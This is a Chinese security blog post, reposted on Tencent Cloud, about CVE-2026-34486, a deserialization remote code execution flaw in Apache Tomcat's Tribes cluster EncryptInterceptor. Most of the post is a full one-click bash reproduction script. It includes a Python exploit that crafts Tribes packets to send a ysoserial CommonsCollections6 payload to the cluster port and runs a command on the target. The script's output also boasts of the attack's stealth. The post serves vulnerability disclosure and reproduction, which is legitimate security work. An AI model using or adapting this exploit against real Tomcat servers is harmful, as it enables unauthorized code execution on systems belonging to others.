首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-34486|Apache Tomcat远程代码执行漏洞(POC)

CVE-2026-34486|Apache Tomcat远程代码执行漏洞(POC)

作者头像
信安百科
发布2026-04-20 13:09:38
发布2026-04-20 13:09:38
6130
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Tomcat是Apache软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun和其他一些公司及个人共同开发而成。

Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。

Tomcat和Nginx、Apache(httpd)、lighttpd等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Nginx/Apache服务器。

0x01 漏洞描述

漏洞的出现与针对CVE-2026-29146的修复补丁有关。

在对EncryptInterceptor组件进行安全加固时,消息接收方法messageReceived()内部的异常处理流程发生了改变,这导致了当接收到的集群通信数据无法正常解密时,代码路径未能终止当前请求的处理,而是忽略了该异常状态并继续将原始的、未经解密验证的数据向后续处理环节传递。

在启用Tribes集群并配置加密拦截器的场景下,远程攻击者能够向集群监听端口(默认为4000)提交特制的协议报文,且该报文无需遵守正常的加密规范。

若当前应用环境或依赖库中已存在可利用的Gadget类,攻击者便获得了在服务器进程上下文中执行任意系统命令或代码的能力。

利用条件:

1.Tomcat 服务器启用了 Tribes 集群功能。

2.集群通信配置了EncryptInterceptor拦截器。

3.攻击者可访问Tomcat服务器的集群通信端口(默认为TCP 4000端口)。

4.目标服务器的Java类路径(Classpath)中存在可利用的反序列化Gadget链。

0x02 CVE编号

CVE-2026-34486

0x03 影响版本

代码语言:javascript
复制
Apache Tomcat 11.0.20
Apache Tomcat 10.1.53
Apache Tomcat 9.0.116

0x04 漏洞详情

POC:

https://github.com/AirSkye/CVE-2026-34486-poc

代码语言:javascript
复制
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================

set -e

# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579"  # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"

# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

info()    { echo -e "${CYAN}[*]${NC} $1"; }
ok()      { echo -e "${GREEN}[+]${NC} $1"; }
warn()    { echo -e "${YELLOW}[!]${NC} $1"; }
fail()    { echo -e "${RED}[-]${NC} $1"; exit 1; }

# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."

# 检测 root
if [ "$EUID" -ne 0 ]; then
    fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi

# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1

# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"

# 验证 Python3
python3 --version
ok "Python3 已就绪"

# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."

TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"

wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"

tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"

# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."

wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"

# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."

wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"

# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."

# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys

with open(sys.argv[1], 'r') as f:
    xml = f.read()

# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)

# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
  <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
           channelSendOptions="8">
    <Manager className="org.apache.catalina.ha.session.DeltaManager"
             expireSessionsOnShutdown="false"
             notifyListenersOnReplication="true"/>
    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
                   encryptionAlgorithm="AES/CBC/PKCS5Padding"
                   encryptionKey="''' + sys.argv[4] + '''"/>
      <Membership className="org.apache.catalina.tribes.membership.McastService"
                  address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
                selectorTimeout="5000" maxThreads="6"/>
      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
      </Sender>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
    </Channel>
    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
    <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
  </Cluster>
'''

# 替换被注释的 Cluster 占位符
xml = re.sub(
    r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
    cluster_xml,
    xml,
    flags=re.DOTALL
)

with open(sys.argv[1], 'w') as f:
    f.write(xml)
PYEOF

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node1/conf/server.xml" \
    "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node2/conf/server.xml" \
    "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"

ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"

# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
    mkdir -p "$node/webapps/ROOT/WEB-INF"
    cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"

# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."

chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh

export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"

info "等待集群启动 (15秒)..."
sleep 15

# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
    fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"

# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"

# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."

# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
    ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi

$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
    CommonsCollections6 "touch ${RCE_MARKER}" \
    > "$WORKDIR/payload_touch.bin" 2>/dev/null

if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
    fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"

# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time

START_DATA = b"FLT2002"
END_DATA   = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"

def build_member_data(host_bytes, port):
    inner = b""
    inner += struct.pack(">q", 0)
    inner += struct.pack(">i", port)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">b", len(host_bytes))
    inner += host_bytes
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += os.urandom(16)
    inner += struct.pack(">i", 0)
    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END

def build_channel_data(message_body, host_bytes, port):
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)
    cd = b""
    cd += struct.pack(">i", 0)
    cd += struct.pack(">q", int(time.time() * 1000))
    cd += struct.pack(">i", len(unique_id))
    cd += unique_id
    cd += struct.pack(">i", len(member_data))
    cd += member_data
    cd += struct.pack(">i", len(message_body))
    cd += message_body
    return cd

def send_exploit(target_ip, target_port, payload_file, receiver_port):
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()
    host_bytes = socket.inet_aton(target_ip)
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((target_ip, target_port))
    sock.sendall(packet)
    try:
        sock.recv(4096)
    except socket.timeout:
        pass
    sock.close()

if __name__ == '__main__':
    send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT

chmod +x "$WORKDIR/exploit.py"

# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"

info "等待攻击生效 (5秒)..."
sleep 5

# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."

echo ""
echo "======================================================================"
echo -e "${RED}           CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""

# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
    echo -e "  ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
    echo ""
    ls -la "$RCE_MARKER"
    echo ""
else
    echo -e "  ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
    echo ""
fi

# 检查受害者日志
echo "  受害者日志 (解密失败记录):"
echo "  ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo "  (未找到解密失败日志)"
echo ""
echo "  受害者日志 (EncryptInterceptor 启动确认):"
echo "  ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo "  (未找到 EncryptInterceptor 日志)"
echo ""
echo "  受害者日志 (集群成员发现):"
echo "  ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo "  (未找到集群成员日志)"
echo ""

# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
    echo -e "  ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
    echo -e "  ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi

echo ""
echo "======================================================================"
echo ""
echo "  环境信息:"
echo "    - 工作目录:  ${WORKDIR}"
echo "    - Node1:     HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo "    - Node2:     HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo "    - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo "    - RCE 标志:  ${RCE_MARKER}"
echo ""
echo "  清理命令:"
echo "    cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo "    cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo "    rm -f ${RCE_MARKER}"
echo "    rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"

(图片来源于网络)

0x05 参考链接

https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly/

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-04-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档